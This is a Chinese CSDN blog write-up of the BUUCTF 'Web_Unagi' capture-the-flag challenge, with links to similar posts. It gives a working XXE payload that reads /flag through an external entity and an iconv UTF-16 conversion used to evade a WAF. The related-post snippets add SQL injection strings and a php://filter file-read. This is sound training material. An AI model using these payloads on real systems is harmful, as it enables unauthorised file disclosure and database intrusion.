BUUCTF [CSAWQual 2019]Web_Unagi 1

最新推荐文章于 2024-03-07 07:00:00 发布
最新推荐文章于 2024-03-07 07:00:00 发布
阅读量486 收藏
点赞数
分类专栏： 刷题日记 ctf buuctf 文章标签： buuctf
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45642610/article/details/120201638
版权
ctf 同时被 3 个专栏收录
27 篇文章 3 订阅
订阅专栏
buuctf
26 篇文章 2 订阅
订阅专栏
刷题日记
24 篇文章 2 订阅
订阅专栏

BUUCTF [CSAWQual 2019]Web_Unagi 1

提示在/flag
在这里插入图片描述有提示了上传xml文件及其格式

在这里插入图片描述
直接用之前xml注入的上传即可。
改文件名为1.xml上传即可得flag

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>&xxe;</username>
        <password>&xxe;</password>
        <name>&xxe;</name>
        <email>&xxe;</email>  
        <group>&xxe;</group>
        <intro>&xxe;</intro>
    </user>
</users>

在这里插入图片描述
&xxe;是引用读取flag的实体xxe，实体前后一定是&;闭合。

ps:
在其他wp里解释是用linux的vim转码,把UTF-8转为UTF-16绕过waf，但我直接上传也没见到waf拦截啊。怪怪的。
转码命令iconv -f utf8 -t utf-16 2.xml>1.xml

__byb__
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
[CSAWQual 2019]Web_Unagi - 文件上传+XXE注入(XML编码绕过)
oZuoShen123的博客
10-10 1242
alice passwd1 Alice [email protected] CSAW2019 bob passwd2 Bob [email protected]
unagi:无的WordPress仪表板
03-04
Unagi是一个WordPress插件，可帮助您保持管理仪表板的清洁。 这是一个零配置的插件，只需激活并清除它。 Unagi-“这不是您的本领，而是您所拥有的。” 它是如何工作的？ 它缓冲连接到admin_notices操作的所有输出...
buuctf_练[CSAWQual 2019]Web_Unagi
m0_66225311的博客
10-26 208
`XXE`漏洞利用，`xml`文件转换编码绕过`WAF`(UTF-8 --> UTF-16)，`xml`文件格式的书写
BUUCTF--[CSAWQual 2019]Web_Unagi
qq_46263951的博客
07-22 313
进入页面后看到一个Upload 看到给出的提示是让我们上传一个XML文件,刚好今天做了一个关于XML的XXE漏洞的题,底下贴链接,漏洞点为 给出提示flag在/flag中,所以构造出的payload为 <?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY xxe SYSTEM "file:///flag" >]> <users> <user> <userna.
[CSAWQual 2019]Web_Unagi ---不会编程的崽
最新发布
不会编程的崽的博客
03-07 458
xxe编码绕过
BUUCTF:[CSAWQual 2019]Web_Unagi
../../../../../../../
06-08 990
打开界面 看看其他有什么内容： 来看看格式事例： 从信息提示我们可以知道要通过编写xml文件上传 即通过XXE编码转换成utf-16编码绕过 我们可以利用vim编辑xml文件（取名为2.xml) 构造payload如下： <?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY xxe SYSTEM "file:///flag" >]> <users> <user> <
[CSAWQual 2019]Web_Unagi
snowlyzz的博客
09-13 171
xxe 绕过waf。
-Unagi-Ingress-Hackathon
02-14
-Unagi-Ingress-Hackathon
论文研究-一种基于关键非功能需求的软件可信性度量模型.pdf
07-22
为了更为合理准确地度量软件可信性，提出了一种基于关键非功能需求的软件可信性度量模型。首先，分析了该模型所涉及的软件可信性、非功能需求、关键非功能需求的定义；其次，对非功能需求进行分解以及权重的分配，并将非功能需求细分为A、B、C、D四类以便更好地获取；最后，应用Web软件中的“在线旅行”网站详细阐述了该模型的具体度量过程。提出的模型是一个通用的软件可信性度量模型，适用于不同形态的软件，支持软件可信性的定制，对于软件可信性的度量具有一定的指导意义。
unagi:现代浏览器上的RPG编辑器
05-04
a木 现代浏览器上的RPG编辑器 环境 到目前为止，仅在Mac OS X Chrome上对此进行了测试。 怎么跑 要求 脚步 运行./build.sh 运行go run testserver.go 访问
Python库 | unagi-0.1.3.dev3.tar.gz
05-24
资源分类：Python库 所属语言：Python 资源全名：unagi-0.1.3.dev3.tar.gz 资源来源：官方 安装方法：https://lanzao.blog.csdn.net/article/details/101784059
unagi:搜索和下载Hyper Suprime-Cam（HSC）斯巴鲁战略调查（SSP）中的数据
05-02
乌纳吉（ウナギ） 除了是世界上最美味的鱼的一个， unagi还可以帮助您通过浏览或了Hyper Suprime-CAM（HSC）斯巴鲁战略...2019/06/03：添加了对HSC PDR2的支持（需要更多测试） PDR2_DUD和PDR2_WIDE重新运行中的所有
buuctf [强网杯 2019]随便注 1
热门推荐
weixin_45642610的博客
01-07 1万+
buuctf web [强网杯 2019]随便注 1 -刷题个人日记 小白一个，写给自己看。 打开后是这样。 从题目和内容来看就是一道sql注入题。 输入 1' or 1=1;# 这个#用来注释掉后面的sql语句 显示所有数据，这个数据有什么用我也不知道，但sql注入一般第一步就是这样看看有没有有用的信息（没有）。 输入 1' order by 2;# 1' order by 3;# 到第3列报错，说明只显示两列。 输入1'; show tables;# 可以看到有 191981093
[ACTF2020 新生赛]Include 1
weixin_45642610的博客
01-10 7733
[ACTF2020 新生赛]Include1 -刷题个人日记 小白一个，写给自己看。 打开后是这样： 点击tips后： ctrl+u查看网页代码+抓包：没有发现什么有用的信息。 查看题目和网址的file参数，提示这是文件包含的题 构造payload: file=php://filter/read=convert.base64-encode/resource=flag.php 读出源码，进行base64解码得出flag： flag{ef7e62e5-5ed4-4f53-8c7c-fb80aaabf7cc}
BUUCTF [极客大挑战 2019]PHP 1
weixin_45642610的博客
01-14 5001
BUUCTF [极客大挑战 2019]PHP 1-刷题日记 进去后是这样： 提示备份，用dirsearch或dirmap扫出来（怎么安装上网找，很多教程，实在不会可以问我（除了dirmap））。搜个大字典下载，自带的字典很少。 py3 dir.py -u http://3c25afd0-8c4a-4832-8e11-f182ffcccae4.node3.buuoj.cn/ -e * -w db/dir.txt -u+地址 -e选择语言 -w选择字典 要多试几次，有时扫不出来，真的坑。（御剑更坑！） 输
BUUCTF [HCTF 2018]admin 1
weixin_45642610的博客
01-15 4629
BUUCTF [HCTF 2018]admin 1 进去后是这样，右上角有注册登录。看看主页源码。 看来如果是admin（管理员）会有东西不同。 随便注册一个账号，登录（注册登录的源码都看看，所有的页面源码都要看！找提示，甚至一行一行代码看）。 在改密码界面看到： 输网址，下载。 用pycharm或其他打开，审计代码。先看路由（route） 没什么特别的，就其他都看看。最后在templates目录下的index.html找到 如果session等于admin就出hctf{}，即flag。 而提示
BUUCTF [网鼎杯 2018]Fakebook 1
weixin_45642610的博客
01-19 4436
BUUCTF [网鼎杯 2018]Fakebook 1 join(注册)一个账号,按用户名进入主页 发现注入点no no=1 order by 4#没事 no=1 order by 5#报错，有4列 no=-1 union/**/select 1,2,3,4#过滤了(union select)用/**/代替空格 回显位是2，注意到有反序列化函数。 爆表名 no=-1 union/**/select 1,group_concat(table_name),3,4 from information_sc
[CSAWQual 2019]Unagi
07-27
回答: 在CSAWQual 2019比赛中，关于Unagi的问题，根据引用\[1\]、\[2\]和\[3\]的内容，Unagi是一个涉及XML注入的题目。参赛者需要利用之前的XXE模板或者自己构造的XML文件，通过上传恶意的XML文件来获取flag。具体的操作是将文件名改为1.xml，然后上传即可得到flag。\[1\]\[2\]\[3\] #### 引用[.reference_title] - *1* [[CSAWQual 2019]Web_Unagi xxe转码绕过waf](https://blog.csdn.net/qq_54929891/article/details/124481254)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [[CSAWQual 2019]Web_Unagi](https://blog.csdn.net/m0_62905261/article/details/126189583)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [BUUCTF [CSAWQual 2019]Web_Unagi 1](https://blog.csdn.net/weixin_45642610/article/details/120201638)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值